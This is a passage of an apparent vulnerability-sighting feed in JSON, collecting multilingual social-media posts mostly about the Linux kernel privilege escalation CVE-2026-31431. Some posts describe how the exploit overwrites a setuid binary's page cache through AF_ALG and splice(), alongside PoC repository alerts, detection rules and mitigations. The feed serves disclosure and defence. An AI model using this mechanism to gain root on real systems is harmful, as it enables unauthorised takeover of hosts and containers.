"https://t.me/codeby_sec/10141", "content": "732 \u0431\u0430\u0439\u0442\u0430 Python-\u043a\u043e\u0434\u0430 \u2014 \u0438 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 root \u043d\u0430 \u043b\u044e\u0431\u043e\u043c Linux\n\n\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044c\u0442\u0435: \u043e\u0434\u0438\u043d \u0441\u043a\u0440\u0438\u043f\u0442, \u043d\u0438\u043a\u0430\u043a\u0438\u0445 race condition, \u043d\u0438\u043a\u0430\u043a\u0438\u0445 per-distro offsets \u2014 \u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0443 \u0441\u0435\u043a\u0443\u043d\u0434 \u0432\u0430\u0448 www-data \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 root. \u0418\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 CVE-2026-31431, \u043e\u043d\u0430 \u0436\u0435 Copy Fail \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u044f\u0442\u0430\u043b\u0430\u0441\u044c \u0432 \u044f\u0434\u0440\u0435 Linux \u0434\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442.\n\n\ud83d\udd0e\u0421\u0443\u0442\u044c \u0431\u0430\u0433\u0430 \u2014 \u0432 \u043f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u0438 \u0442\u0440\u0451\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c \u044f\u0434\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e:\n\n\u2022 AF_ALG \u2014 \u0441\u043e\u043a\u0435\u0442\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043a \u043a\u0440\u0438\u043f\u0442\u043e-API \u044f\u0434\u0440\u0430, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u043b\u044e\u0431\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443\n\u2022 splice() \u2014 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b page cache \u0431\u0435\u0437 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f\n\u2022 Page cache \u2014 \u043e\u0431\u0449\u0435\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u043a\u0435\u0448, \u0433\u0434\u0435 \u043e\u0434\u043d\u0430 \u0438 \u0442\u0430 \u0436\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f setuid-\u0431\u0438\u043d\u0430\u0440\u0438\n\n\u0412 2017 \u0433\u043e\u0434\u0443 \u043c\u043e\u0434\u0443\u043b\u044c algif_aead \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044e: destination \u0438 reference pages \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u043b\u0438 \u0432 \u0435\u0434\u0438\u043d\u044b\u0439 scatterlist. \u041d\u043e \u043a\u043e\u0434 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b output-\u0440\u0435\u0433\u0438\u043e\u043d\u0430. \u0428\u0430\u0431\u043b\u043e\u043d authencesn \u043f\u0440\u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0435 \u043f\u0438\u0448\u0435\u0442 4 \u0431\u0430\u0439\u0442\u0430 scratch-\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044e. \u0427\u0435\u0440\u0435\u0437 splice() \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b page cache \u043e\u0442 setuid-\u0431\u0438\u043d\u0430\u0440\u044f \u2014 \u0438 \u044d\u0442\u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0431\u0430\u0439\u0442\u0430 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e \u0432 \u043a\u0435\u0448\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0437 /usr/bin/su. \u041d\u0430 \u0434\u0438\u0441\u043a\u0435 \u0444\u0430\u0439\u043b \u043d\u0435 \u0442\u0440\u043e\u043d\u0443\u0442, \u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u2014 \u0443\u0436\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d.\n\n\ud83d\udc49\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0441\u0442\u0440\u0430\u0448\u043d\u0435\u0435 Dirty Pipe? \u0422\u0440\u0438 \u043f\u0440\u0438\u0447\u0438\u043d\u044b:\n\n1. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u2014 \u043d\u0435\u0442 \u043e\u043a\u043d\u0430 \u0433\u043e\u043d\u043a\u0438, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0441\u043e 100% \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c\u044e\n2. \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u2014 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u043a\u0440\u0443\u043f\u043d\u043e\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0435 \u0441 \u044f\u0434\u0440\u043e\u043c \u043e\u0442 2017 \u0433\u043e\u0434\u0430 (Ubuntu, RHEL, Amazon Linux, SUSE, Debian)\n3. Container escape \u2014 page cache \u043e\u0431\u0449\u0438\u0439 \u0434\u043b\u044f \u0445\u043e\u0441\u0442\u0430 \u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432 \u0441 shared kernel, \u0442\u0430\u043a \u0447\u0442\u043e Copy Fail \u2014 \u044d\u0442\u043e \u0435\u0449\u0451 \u0438 \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430. PoC \u0434\u043b\u044f Kubernetes \u0443\u0436\u0435 \u0432\u0430\u043b\u0438\u0434\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u0430 EKS, GKE \u0438 Alibaba Cloud ACK.\n\n\ud83c\udf87\u0427\u0442\u043e \u0443\u0441\u0442\u043e\u044f\u043b\u043e? \u041c\u0438\u043a\u0440\u043e\u0412\u041c (AWS Firecracker, Fargate), gVisor, V8-\u0438\u0437\u043e\u043b\u044f\u0442\u044b Cloudflare Workers \u2014 \u0432\u0441\u0451, \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e tenant \u0441\u0432\u043e\u0451 \u044f\u0434\u0440\u043e.\n\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442: \u0431\u0430\u0433 \u043f\u0440\u044f\u0442\u0430\u043b\u0441\u044f \u0442\u0430\u043a \u0434\u043e\u043b\u0433\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443 crypto/ \u0440\u0435\u0432\u044c\u044e\u0438\u043b\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u044b. \u041e\u043d\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0438 IND-CPA, side channels, \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432. \u0410 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0434\u043e\u043b\u0436\u043d\u0430 \u043b\u0438 \u044d\u0442\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u0431\u044b\u0442\u044c writeable?\u00bb \u2014 \u0438\u0437 \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u0438\u0441\u0446\u0438\u043f\u043b\u0438\u043d\u044b, \u0438 \u043e\u043d \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u043f\u0430\u043b \u0438\u0437 \u043f\u043e\u043b\u044f \u0437\u0440\u0435\u043d\u0438\u044f. \u0414\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442.\n\n\u041d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0434\u043b\u044f \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u0430 \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442: \u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f low-priv shell \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Copy Fail \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u043c\u0435\u043d\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043f\u0435\u0440\u0435\u0431\u043e\u0440 SUID-\u0431\u0438\u043d\u0430\u0440\u0435\u0439 \u0438\u043b\u0438 \u0440\u0430\u0437\u0431\u043e\u0440 cron jobs. \u0415\u0441\u043b\u0438 \u043c\u043e\u0434\u0443\u043b\u044c algif_aead \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u0438 \u044f\u0434\u0440\u043e \u043d\u0435 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0435\u043d\u043e \u2014 root \u0437\u0430 \u0441\u0435\u043a\u0443\u043d\u0434\u044b.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u043c\u0435\u0445\u0430\u043d\u0438\u043a\u0438, \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u0443\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0437\u0430\u0449\u0438\u0442\u0435 \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u043f\u043e\u043b\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435.\n\nhttps://codeby.net/threads/cve-2026-31431-copy-fail-razbor-linux-privilege-escalation-bez-race-condition.93766/", "creation_timestamp": "2026-05-24T10:04:04.000000Z"}, {"uuid": "a57f936b-e0c1-427a-81a0-1a5975c459a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31844", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mmmdu53plg2w", "content": "\ud83d\udccc CVE-2026-31844 - An authenticated SQL Injection vulnerability (CWE-89) exists in the Koha staff interface in the /cgi-bin/koha/suggestion/suggestion.pl endpoint due to... https://www.cyberhub.blog/cves/CVE-2026-31844", "creation_timestamp": "2026-05-24T16:07:09.099488Z"}, {"uuid": "edadf180-1f28-4cdd-8d66-15ab9ec6ef63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmnmshw32h2h", "content": "@reversinglabs.com\nLinux LPE CVE-2026-31431 (Dirty Frag) exploits seen in the wild 9 days pre-embargo, including PyPI supply chain attacks.\n-\nIOCs: CVE-2026-31431, Linux. Trojan. Multiverze, copyfail (PyPI)\n-\n#CVE202631431 #Linux #ThreatIntel", "creation_timestamp": "2026-05-25T04:19:56.782613Z"}, {"uuid": "a67c2347-d3f8-4505-a770-400073e8c760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mmnmypijo32k", "content": "@reversinglabs.com\nReversingLabs released 5 YARA rules to detect 'Copy Fail' (CVE-2026-31431), a critical Linux kernel LPE flaw granting instant root access.\n-\nIOCs: CVE-2026-31431\n-\n#CVE202631431 #Linux #ThreatIntel", "creation_timestamp": "2026-05-25T04:23:26.337811Z"}, {"uuid": "4ec1af2a-9852-4558-8561-ec9a75453976", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/Ob2oA_mupoVDMqE6Q_QCizAK8aYtg6z11DPx_SkAfocJmb0", "content": "", "creation_timestamp": "2026-05-24T21:00:04.000000Z"}, {"uuid": "2c4eb4bf-572e-420a-91b5-798596494ffc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31802", "type": "seen", "source": "Telegram/hQ1BgqlandqZtiBEN_8bc-Jqb7FATWW_NqNwwco7cLj54NM", "content": "", "creation_timestamp": "2026-05-23T03:00:04.000000Z"}, {"uuid": "2f47b91f-5a19-44d5-8aef-79f689afcc40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/QQT-Q6OUMbbPAX_T-HqeuIDXp1trXX8UiN3jKLc_4d4AIZQ", "content": "", "creation_timestamp": "2026-05-22T15:00:07.000000Z"}, {"uuid": "b57436fc-e649-4f94-aeec-22f67bc38bfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/sf5KhxAkcRuzAAdkzJfQq6tOcXhB3b2mycJGK75VFFg05Ws", "content": "", "creation_timestamp": "2026-05-22T09:00:04.000000Z"}, {"uuid": "f74c427f-a7c1-47f7-be03-99e01908835c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/EQ-OtrMk-MWFYtaQdS6-MjZwABKlvl-CaVDrJmD_M-e-p2s", "content": "", "creation_timestamp": "2026-05-22T03:00:06.000000Z"}, {"uuid": "ae2638ec-8fb5-44f6-af90-c82e3090bb5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/hQ1BgqlandqZtiBEN_8bc-Jqb7FATWW_NqNwwco7cLj54NM", "content": "", "creation_timestamp": "2026-05-23T03:00:04.000000Z"}, {"uuid": "2eaf6ae3-0bd2-455a-ae36-ef667d062cec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3102", "type": "seen", "source": "Telegram/sf5KhxAkcRuzAAdkzJfQq6tOcXhB3b2mycJGK75VFFg05Ws", "content": "", "creation_timestamp": "2026-05-22T09:00:04.000000Z"}, {"uuid": "4f064e17-a96c-4d72-a755-0111df76aed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mmnxsyuc3z2v", "content": "\ud83d\udccc CopyFail Vulnerability (CVE-2026-31431) Affects Major Linux Distributions - Patch Status Unclear https://www.cyberhub.blog/article/25414-copyfail-vulnerability-cve-2026-31431-affects-major-linux-distributions-patch-status-unclear", "creation_timestamp": "2026-05-25T07:37:06.736715Z"}, {"uuid": "bd60200f-438f-41aa-b781-b4bf41202e90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/85786", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Copy-Fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a wvverez\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 2  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-25 06:14:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u300c\ud83e\udde8\u300dPoC (Proof of Concept) of Copy Fail Local Privilege Escalation in Linux Kernel\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-25T07:00:04.000000Z"}, {"uuid": "18e37216-a83f-4028-b1c4-3d828a637221", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/85857", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy_fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Iamliuxiaozhen\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-25 16:54:08\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\ncopy_fail:CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-25T17:00:05.000000Z"}, {"uuid": "81b3cb2a-1431-44f3-957a-7f7e2c9c9b07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3172", "type": "seen", "source": "https://bsky.app/profile/pgexperts.bsky.social/post/3mmp6wn4pad2y", "content": "pgvector 0.8.2 patches CVE-2026-3172 \u2014 a parallel-HNSW-build buffer overflow that can leak data across relations or crash the backend.\n\nParallel HNSW is now the default in most production deployments. Patch this week.\n\nwww.postgresql.org/about/news/p...\n\n \u2014 pgexperts.com.", "creation_timestamp": "2026-05-25T19:17:03.439415Z"}, {"uuid": "e514f3ac-2aec-4b55-8f99-7ef34109072e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3172", "type": "seen", "source": "https://bsky.app/profile/pgexperts.bsky.social/post/3mmpp566ewc2r", "content": "pgvector 0.8.2 fixes CVE-2026-3172: heap buffer overflow during parallel HNSW index builds. Can leak cross-relation data or crash the backend.\n\nwww.postgresql.org/about/news/p...\n\npgexperts.com.", "creation_timestamp": "2026-05-26T00:07:03.281197Z"}, {"uuid": "395ca4c9-2985-498c-a246-c1a13a2a6f98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/85939", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a ProyectoFinalSO\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a zKaaanon\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-26 08:22:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEstudio del bug CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-26T09:00:07.000000Z"}, {"uuid": "f0c49138-c950-4d8a-9e4b-95855bc1eba0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/purpleshift/179", "content": "\u041d\u0430 \u0434\u043d\u044f\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 (CopyFail) \u0432 \u044f\u0434\u0440\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0441\u0435\u0445 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root.\n\n\u0421\u0443\u0442\u044c \u0443\u0437\u044f\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \n\n\u041a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c authencesn \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0447\u0430\u0441\u0442\u044c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430\u00bb \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0431\u0430\u0439\u0442\u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a\u0435\u0448\u0430 \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e \u0434\u0430\u0451\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0435\u0448 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 732-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 Python-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 AF_ALG \u0438 splice \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0431\u0430\u0439\u0442 \u0432 \u043a\u0435\u0448, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, setuid-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0448\u0435\u043b\u043b \u0441 \u0440\u0443\u0442\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438. \n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e, \u0430 \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c algif_aead (\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 AF_ALG \u0434\u043b\u044f AEAD).\n\n\u041a\u0430\u043a 